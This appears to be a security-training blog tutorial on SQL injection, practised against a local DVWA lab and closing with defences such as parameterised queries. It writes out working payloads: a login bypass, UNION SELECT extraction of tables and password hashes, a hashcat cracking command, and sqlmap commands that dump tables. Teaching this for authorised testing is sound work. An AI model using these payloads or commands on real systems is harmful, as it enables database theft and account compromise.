🔐
Authorised use only. All SQL injection techniques in this tutorial are practised on DVWA — your own local lab installation or on authorised platforms. Never test any system you do not own or have explicit written permission to test. SQLi on unauthorised systems is illegal.
In 2009, a single SQL injection attack against Heartland Payment Systems exposed 130 million credit card numbers. In 2017, an SQLi vulnerability in an Equifax partner portal contributed to a breach affecting 147 million people. SQL injection has appeared in the OWASP Top 10 security risks in every single edition since the list was created. It remains one of the most consistently dangerous and consistently findable vulnerabilities in web application security — and it starts with a single quote. Lets start our SQL Injection tutorial for deep dive learning.
This tutorial teaches SQL injection from first principles — what it is, why it works, how to test for it manually step by step, how to extract data using UNION-based payloads, and how to automate the process with SQLmap. Everything is practised on DVWA, your own local intentionally vulnerable application. By the end, you will understand SQLi well enough to find it in real applications during authorised testing.
What Is SQL Injection?
SQL injection is a vulnerability that occurs when user-supplied input is inserted directly into a SQL query without proper sanitisation. An attacker can insert SQL syntax characters that modify the query’s logic — turning a legitimate search into an instruction to reveal data, bypass authentication, or destroy the database.
The simplest possible example. A login form’s SQL query normally looks like:
# Normal query — user enters: username=admin, password=secret123SELECT *
FROM users
WHERE username =
‘admin’ AND password =
‘secret123’;
# Attacker enters: username=admin’– -, password=anything
SELECT * FROM users WHERE username = ‘admin’— –‘ AND password = ‘anything’;
# Everything after — is a comment. Password check is bypassed. Login succeeds.
The single quote ' breaks out of the string context. The double dash -- comments out the rest of the query. This is SQL injection at its most basic — and variations of this exact technique affect real applications in 2026. Explore more in our SQL Injection Attacks guide.
Why SQL Injection Still Works in 2026
SQLi exists because developers build SQL queries by concatenating strings — combining static query text with dynamic user input. When user input is not treated as pure data (but as executable SQL), the vulnerability is present. Three common causes:
❌ String Concatenation
Direct concatenation of user input into SQL queries without escaping or parameterisation. The #1 cause of SQL injection vulnerabilities worldwide.
❌ Legacy Code
Old codebases written before prepared statements were standard. Many production systems are running PHP/MySQL code written in 2005 that has never been updated.
❌ Custom ORM Bypasses
Developers who use ORMs (which protect by default) but write raw SQL queries for “complex” operations, bypassing the ORM’s protections in exactly the places that matter most.
Lab Setup — DVWA on Kali Linux
DVWA (Damn Vulnerable Web Application) is the standard practice target for learning SQL injection. It runs in your local environment — completely isolated, completely legal to attack. The fastest setup on Kali Linux uses Docker:
# Install Docker if not already present
sudo apt install docker.io -y
sudo systemctl start docker # Run DVWA container
sudo docker run –rm -it -p 80:80 vulnerables/web-dvwa
# Open in browser
http://localhost/ ← Default credentials: admin / password
DVWA Security → Set to “Low” → Submit
Navigate: SQL Injection
Already have DVWA set up from a previous exercise? See our full lab guide: DVWA Setup Tutorial Day 1 and DVWA Labs hub.
Manual SQL Injection Testing — Step by Step
securityelites.comDVWA SQL Injection — Manual Testing Workflow (Security Level: Low)
# ─── STEP 1: Trigger an error with a single quote ──────────
Input: 1′
Error: You have an error in your SQL syntax near ”’ at line 1
✓ SQL error = input reflected in query = SQLi confirmed
# ─── STEP 2: Boolean test to confirm ────────────────────────
Input: 1′ AND ‘1’=’1 ← Returns result (TRUE)
Input: 1′ AND ‘1’=’2 ← Returns nothing (FALSE)
✓ Conditional responses = boolean SQLi confirmed
# ─── STEP 3: Count columns with ORDER BY ─────────────────────
Input: 1′ ORDER BY 1– – ← Works
Input: 1′ ORDER BY 2– – ← Works
Input: 1′ ORDER BY 3– – ← Error = only 2 columns
✓ Query has exactly 2 columns — needed for UNION SELECT
# ─── STEP 4: Find which columns display data ──────────────────
Input: 1′ UNION SELECT ‘col1′,’col2’– –
Output: First Name: col1 Surname: col2 ← Both cols display
Manual SQL Injection — Step-by-step testing on DVWA (Low security). Step 1 triggers a MySQL error confirming the injection point. Step 2 uses boolean conditions to confirm control. Step 3 finds column count via ORDER BY. Step 4 identifies which columns display in the output — critical for UNION-based extraction.
1
Test for injection with a single quote
Enter ' in the input field. A MySQL or database error means the single quote broke the query syntax — input is being concatenated directly into SQL. This is your primary injection indicator.
2
Confirm with boolean conditions
If a TRUE condition returns a result and a FALSE condition returns nothing — you control the query logic. This is the definitive SQLi confirmation test.
3
Determine column count (ORDER BY)
Increment the ORDER BY number until an error occurs. The last working number = the column count. You need this to construct a valid UNION SELECT statement.
4
Identify visible columns (UNION SELECT with strings)
A UNION SELECT with string values identifies which column positions appear in the output. Only visible columns can be used to exfiltrate data.
UNION-Based Data Extraction — From Columns to Credentials
securityelites.comDVWA SQL Injection — UNION-Based Database Extraction
# ─── Extract database version ────────────────────────────────
Input: 1′ UNION SELECT version(), NULL– –
Output: 8.0.32-MySQL Community Server
# ─── Extract current database name ───────────────────────────
Input: 1′ UNION SELECT database(), NULL– –
Output: dvwa
# ─── Extract table names ──────────────────────────────────────
Input: 1′ UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema=database()– –
Output: guestbook
Output: users
# ─── Extract column names from users table ────────────────────
Input: 1′ UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name=’users’– –
Output: user_id, first_name, last_name, user, password, avatar
# ─── Extract usernames and passwords ─────────────────────────
Input: 1′ UNION SELECT user, password FROM users– –
Output: admin : 5f4dcc3b5aa765d61d8327deb882cf99
✓ MD5 hash extracted. Crack with: hashcat -m 0 hash.txt rockyou.txt → password: “password”
UNION-Based SQL Injection on DVWA — complete extraction sequence: database version → current database name → table names → column names → user credentials (MD5 hashed). This is the standard manual SQLi extraction methodology used in professional penetration tests. The extracted MD5 hash is trivially crackable with Hashcat.
SQLmap — Automate the Extraction
After confirming SQL injection manually, SQLmap handles the systematic extraction automatically. Always confirm manually first — SQLmap on a false positive wastes time and generates unnecessary traffic against the target.
# ─── Basic database enumeration ───────────────────────────────
sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” \
–cookie=“PHPSESSID=abc123; security=low” –dbs # ─── Enumerate tables in dvwa database ────────────────────────
sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” \
–cookie=“PHPSESSID=abc123; security=low” -D dvwa –tables
# ─── Dump the users table ─────────────────────────────────────
sqlmap -u “http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” \
–cookie=“PHPSESSID=abc123; security=low” -D dvwa -T users –dump
# ─── From Burp saved request file ─────────────────────────────
sqlmap -r request.txt –dbs –level=5 –risk=3
💡 Pro tip: Use Burp Suite to capture the full request (including cookies and POST body), save it as a file, then pass it to SQLmap with
-r request.txt. This handles complex authentication and POST-based injection points automatically. More on Burp:
Burp Suite Beginner Guide.
4 Types of SQL Injection You Will Encounter
1. In-Band SQLi (Error-Based & UNION-Based)
Data returned directly in the HTTP response. Error-based uses database error messages to extract data. UNION-based (what we practised above) appends a UNION SELECT to retrieve data alongside the original query. The easiest to exploit — start here.
2. Blind SQLi — Boolean-Based
No data returned directly — but the application behaves differently based on TRUE vs FALSE conditions. Extract data character by character by asking yes/no questions: “Is the first character of the password greater than ‘M’?” Slow but reliable. Automated well by SQLmap.
3. Blind SQLi — Time-Based
No response difference at all — but the application’s response time varies based on the query result. Use SLEEP(5) or WAITFOR DELAY to infer data from response timing. Slowest SQLi type but works even on hardened applications.
4. Out-of-Band SQLi
Data is extracted through a different channel — DNS lookups, HTTP requests to an attacker-controlled server. Requires specific database features (e.g. MySQL’s LOAD_FILE and INTO OUTFILE). Less common but high impact when it works.
Deep dive on all attack types: SQL Injection category | DVWA Day 4: SQL Injection Deep Dive | Day 13: SQL Injection Tutorial (Ethical Hacking Course)
Defence — How to Prevent SQL Injection
Understanding how to prevent SQLi is as important as finding it — this knowledge helps you write better bug bounty reports and gives you credibility with development teams reviewing your findings. Also check out Day 4: OWASP Top 10 Explained for broader web security defence context.
✅ PRIMARY: Parameterised Queries
Query structure defined separately from user data. User input can never modify query logic. This single change eliminates SQLi. Every language has prepared statement support.
✅ PRIMARY: Stored Procedures
Predefined database operations. Application calls the procedure, not raw SQL. Limits what SQL can be executed by the application layer.
✅ SECONDARY: Input Validation
Whitelist expected input formats. A field expecting a user ID should only accept integers. Reject anything else at the application level before it reaches the database.
✅ SECONDARY: Least Privilege DB Account
The application’s database user should only have SELECT/INSERT/UPDATE. No DROP TABLE, no GRANT, no file operations. Limits blast radius if SQLi is exploited.
SQLi Is Day 13 — There Are 87 More Days
The Full Web Security Attack Chain — Free, Daily, Structured
Frequently Asked Questions
What is SQL injection in simple terms?
User input inserted directly into a SQL query without sanitisation, allowing attackers to modify query logic — extracting data, bypassing authentication, or deleting records. A single quote can be the beginning of a full database compromise.
Is SQL injection still relevant in 2026?
Yes — remains in the OWASP Top 10 and is consistently found in web application penetration tests and bug bounty programmes. Legacy codebases, custom raw SQL queries, and misconfigured ORMs continue to introduce SQLi in 2026.
What is DVWA?
Damn Vulnerable Web Application — intentionally vulnerable PHP/MySQL app for security training. Contains deliberate SQLi, XSS, CSRF, file upload vulnerabilities at three difficulty levels. Run locally in Docker or XAMPP. Completely legal to attack since you own it.
Setup guide here.
What is the difference between manual SQLi and SQLmap?
Manual: hand-crafted payloads in Burp Suite to understand vulnerability structure. SQLmap: automated tool that systematically detects and extracts. Professionals confirm manually first, then use SQLmap for extraction efficiency.
How do you prevent SQL injection?
Parameterised queries / prepared statements (primary defence — eliminates SQLi entirely). Input validation (whitelist expected formats). Least-privilege database accounts (limit blast radius). WAF as a secondary layer — not a substitute for parameterised queries.
ME
Mr Elite
Founder, SecurityElites.com
SQL injection was one of the first vulnerabilities I found in a real application during an authorised assessment. A single quote in a search box, a MySQL error in the response, and twenty minutes later I had the entire user table. The remediation recommendation — parameterised queries — was one line of code change. Understanding both the attack and the fix is what makes your reports valuable. Practise on DVWA. Find it in the real world responsibly.